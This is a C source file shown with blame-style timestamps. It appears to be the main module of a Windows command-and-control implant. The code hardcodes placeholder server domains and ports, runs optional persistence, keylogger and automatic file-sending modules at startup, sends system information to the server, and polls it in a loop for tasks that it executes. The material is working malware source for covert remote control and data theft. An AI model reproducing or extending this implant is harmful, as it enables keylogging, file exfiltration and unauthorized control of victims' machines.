2025-04-23 12:37:25 +02:00
|
|
|
#include <stdio.h>
|
|
|
|
|
#include <stdlib.h>
|
|
|
|
|
#include <string.h>
|
|
|
|
|
|
2025-03-19 15:23:45 +01:00
|
|
|
#include "config.h"
|
2025-04-25 16:21:54 +02:00
|
|
|
#include "commands.c"
|
|
|
|
|
#include "files.c"
|
|
|
|
|
#include "info.c"
|
|
|
|
|
#include "modules.c"
|
|
|
|
|
#include "navigation.c"
|
|
|
|
|
#include "processes.c"
|
|
|
|
|
#include "transport.c"
|
|
|
|
|
|
2025-05-24 14:00:58 +02:00
|
|
|
// Buffer to store startup tasks result
|
|
|
|
|
char startup_result[1024];
|
2025-04-27 08:49:59 +02:00
|
|
|
|
2025-04-15 22:16:39 +02:00
|
|
|
LARGE_INTEGER start, end, freq;
|
|
|
|
|
|
2025-04-09 19:57:36 +02:00
|
|
|
#if TESTING_BUILD
|
2025-07-12 22:36:15 +02:00
|
|
|
char agentID[] = "TestAgent";
|
2025-04-09 19:57:36 +02:00
|
|
|
char* serverDomains[] = {"192.168.1.4"};
|
|
|
|
|
int startupDelay = 0;
|
2025-05-03 12:32:19 +02:00
|
|
|
|
|
|
|
|
#if USE_SCHANNEL
|
|
|
|
|
unsigned short int SERVER_PORT = 8443;
|
2025-05-24 14:00:58 +02:00
|
|
|
#elif USE_WOLFSSL
|
2025-05-03 12:32:19 +02:00
|
|
|
unsigned short int SERVER_PORT = 8443;
|
|
|
|
|
#else
|
|
|
|
|
unsigned short int SERVER_PORT = 8888;
|
|
|
|
|
#endif
|
|
|
|
|
|
2025-04-09 19:57:36 +02:00
|
|
|
#else
|
|
|
|
|
char agentID[] = "PLACEHOLDER_AGENT_ID";
|
|
|
|
|
char* serverDomains[] = {"PLACEHOLDER_SERVER_ADDR"};
|
|
|
|
|
unsigned short int SERVER_PORT = 54321;
|
|
|
|
|
int startupDelay = 1298;
|
|
|
|
|
#endif
|
2025-04-06 20:48:05 +02:00
|
|
|
|
|
|
|
|
unsigned short int domainCount = sizeof(serverDomains) / sizeof(serverDomains[0]);
|
2025-02-06 14:42:06 +01:00
|
|
|
|
2025-03-23 11:47:19 +01:00
|
|
|
int reconnectDelay = 5678;
|
2025-04-08 14:42:11 +02:00
|
|
|
int keylogDelay = 20000;
|
2025-03-19 16:11:27 +01:00
|
|
|
int filesDelay = 17000;
|
2025-03-23 11:47:19 +01:00
|
|
|
short int firstConnection = 1;
|
2025-02-06 14:42:06 +01:00
|
|
|
|
2025-04-08 14:42:11 +02:00
|
|
|
#if ENABLE_KEYLOGGER
|
|
|
|
|
HANDLE hKeylogThread = NULL;
|
|
|
|
|
HANDLE hKeylogTimerThread = NULL;
|
|
|
|
|
#endif
|
|
|
|
|
|
|
|
|
|
#if AUTO_FILES
|
|
|
|
|
HANDLE hFilesTimerThread = NULL;
|
|
|
|
|
#endif
|
2025-02-06 14:42:06 +01:00
|
|
|
|
2025-04-07 14:00:24 +02:00
|
|
|
// Receive response after heartbeat
|
2025-04-06 20:48:05 +02:00
|
|
|
void ReceiveResponse(Transport* transport) {
|
2025-04-26 21:11:19 +02:00
|
|
|
char buffer[512];
|
2025-04-06 20:48:05 +02:00
|
|
|
int bytesReceived = transport->recv(transport->handle, buffer, sizeof(buffer) - 1);
|
2025-02-06 14:42:06 +01:00
|
|
|
if (bytesReceived <= 0) {
|
|
|
|
|
fprintf(stderr, "Error receiving message from server\n");
|
|
|
|
|
return;
|
|
|
|
|
}
|
|
|
|
|
buffer[bytesReceived] = '\0';
|
|
|
|
|
printf("Message from server: %s\n", buffer);
|
|
|
|
|
|
2025-04-26 21:11:19 +02:00
|
|
|
// Check if there is a task to do
|
2025-04-07 14:00:24 +02:00
|
|
|
if (strncmp(buffer, "TASK", 4) == 0) {
|
2025-02-06 14:42:06 +01:00
|
|
|
printf("Received task from server\n");
|
2025-04-26 21:11:19 +02:00
|
|
|
char* taskID = strtok(buffer + 4, "~");
|
|
|
|
|
char* taskType = strtok(NULL, "~");
|
2025-02-06 14:42:06 +01:00
|
|
|
char* taskArgs = strtok(NULL, "");
|
2025-04-26 21:11:19 +02:00
|
|
|
printf("Task ID: %s\n", taskID);
|
2025-02-06 14:42:06 +01:00
|
|
|
printf("Task type: %s\n", taskType);
|
|
|
|
|
printf("Task args: %s\n", taskArgs);
|
|
|
|
|
if (taskType) {
|
2025-04-26 21:11:19 +02:00
|
|
|
HandleTask(transport, taskID, taskType, taskArgs);
|
2025-04-06 20:48:05 +02:00
|
|
|
} else {
|
2025-04-26 21:11:19 +02:00
|
|
|
SendTaskResult(transport, "", "Invalid task format\n");
|
2025-02-06 14:42:06 +01:00
|
|
|
}
|
2025-04-06 20:48:05 +02:00
|
|
|
} else if (strcmp(buffer, "ACK") == 0) {
|
2025-02-06 14:42:06 +01:00
|
|
|
printf("Message acknowledged by server\n");
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
2025-04-07 14:00:24 +02:00
|
|
|
// Check-in with server
|
2025-04-06 20:48:05 +02:00
|
|
|
void SendHeartbeat(Transport* transport) {
|
2025-04-27 09:53:28 +02:00
|
|
|
char heartbeat_message[32];
|
|
|
|
|
snprintf(heartbeat_message, sizeof(heartbeat_message), "%s~HEARTBEAT", agentID);
|
2025-02-06 14:42:06 +01:00
|
|
|
|
2025-04-27 09:53:28 +02:00
|
|
|
int sent = transport->send(transport->handle, heartbeat_message, strlen(heartbeat_message));
|
2025-04-06 20:48:05 +02:00
|
|
|
if (sent <= 0) {
|
|
|
|
|
fprintf(stderr, "Error: Failed to send heartbeat, returned %d\n", sent);
|
|
|
|
|
CleanupTransport(transport);
|
|
|
|
|
return;
|
2025-02-06 14:42:06 +01:00
|
|
|
}
|
2025-04-06 20:48:05 +02:00
|
|
|
printf("Heartbeat sent successfully, bytes sent: %d\n", sent);
|
|
|
|
|
ReceiveResponse(transport);
|
2025-02-06 14:42:06 +01:00
|
|
|
}
|
|
|
|
|
|
2025-04-15 22:16:39 +02:00
|
|
|
void start_timer() {
|
|
|
|
|
QueryPerformanceFrequency(&freq);
|
|
|
|
|
QueryPerformanceCounter(&start);
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
void stop_timer() {
|
|
|
|
|
QueryPerformanceCounter(&end);
|
|
|
|
|
double elapsed = (double)(end.QuadPart - start.QuadPart) / freq.QuadPart;
|
2025-04-16 14:48:10 +02:00
|
|
|
printf("\nElapsed time: %.6f seconds\n", elapsed);
|
2025-04-15 22:16:39 +02:00
|
|
|
}
|
|
|
|
|
|
2025-04-07 14:00:24 +02:00
|
|
|
int main() {
|
|
|
|
|
if (firstConnection) {
|
|
|
|
|
printf("Initial startup delay for %d milliseconds...\n", startupDelay);
|
|
|
|
|
Sleep(startupDelay);
|
|
|
|
|
}
|
|
|
|
|
|
2025-04-06 20:48:05 +02:00
|
|
|
#if ENABLE_PERSISTENCE && AUTO_PERSISTENCE
|
2025-05-24 14:00:58 +02:00
|
|
|
CheckPersistence(startup_result);
|
2025-02-06 14:42:06 +01:00
|
|
|
#endif
|
|
|
|
|
|
2025-04-06 20:48:05 +02:00
|
|
|
#if ENABLE_KEYLOGGER && AUTO_KEYLOGGER
|
2025-05-24 14:00:58 +02:00
|
|
|
InitKeylogger(startup_result);
|
2025-02-06 14:42:06 +01:00
|
|
|
#endif
|
|
|
|
|
|
2025-04-06 09:36:31 +02:00
|
|
|
#if AUTO_FILES
|
2025-04-07 14:00:24 +02:00
|
|
|
InitFileSender();
|
2025-04-06 09:36:31 +02:00
|
|
|
#endif
|
2025-02-06 14:42:06 +01:00
|
|
|
|
2025-04-15 22:16:39 +02:00
|
|
|
// Testing
|
|
|
|
|
WSADATA wsaData;
|
|
|
|
|
if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
|
|
|
|
|
fprintf(stderr, "Error: WSAStartup failed, error %d\n", WSAGetLastError());
|
2025-04-23 12:37:25 +02:00
|
|
|
return 0;
|
2025-04-15 22:16:39 +02:00
|
|
|
}
|
|
|
|
|
|
2025-04-07 14:00:24 +02:00
|
|
|
// Main loop for communication with server
|
2025-02-06 14:42:06 +01:00
|
|
|
while (1) {
|
2025-04-15 22:16:39 +02:00
|
|
|
// Testing
|
|
|
|
|
start_timer();
|
|
|
|
|
|
2025-04-06 20:48:05 +02:00
|
|
|
Transport* transport = InitTransport(GetNextDomain(), SERVER_PORT);
|
|
|
|
|
if (!transport) {
|
|
|
|
|
printf("Connection failed. Retrying in %d seconds...\n", reconnectDelay / 1000);
|
2025-02-06 14:42:06 +01:00
|
|
|
Sleep(reconnectDelay);
|
|
|
|
|
continue;
|
|
|
|
|
}
|
|
|
|
|
printf("Connected to server\n");
|
|
|
|
|
|
|
|
|
|
if (firstConnection) {
|
2025-05-24 14:00:58 +02:00
|
|
|
SendSysInfo(startup_result);
|
|
|
|
|
SendTaskResult(transport, "SYSINFO", startup_result);
|
2025-02-06 14:42:06 +01:00
|
|
|
firstConnection = 0;
|
2025-04-06 20:48:05 +02:00
|
|
|
} else {
|
2025-04-15 22:16:39 +02:00
|
|
|
printf("Trying to send heartbeat\n");
|
2025-04-06 20:48:05 +02:00
|
|
|
SendHeartbeat(transport);
|
2025-02-06 14:42:06 +01:00
|
|
|
}
|
2025-04-15 22:16:39 +02:00
|
|
|
CleanupTransport(transport);
|
2025-02-06 14:42:06 +01:00
|
|
|
|
|
|
|
|
printf("Disconnecting from server\n");
|
2025-04-15 22:16:39 +02:00
|
|
|
|
|
|
|
|
// Testing
|
|
|
|
|
stop_timer();
|
|
|
|
|
|
2025-02-06 14:42:06 +01:00
|
|
|
Sleep(reconnectDelay);
|
|
|
|
|
}
|
|
|
|
|
return 0;
|
|
|
|
|
}
|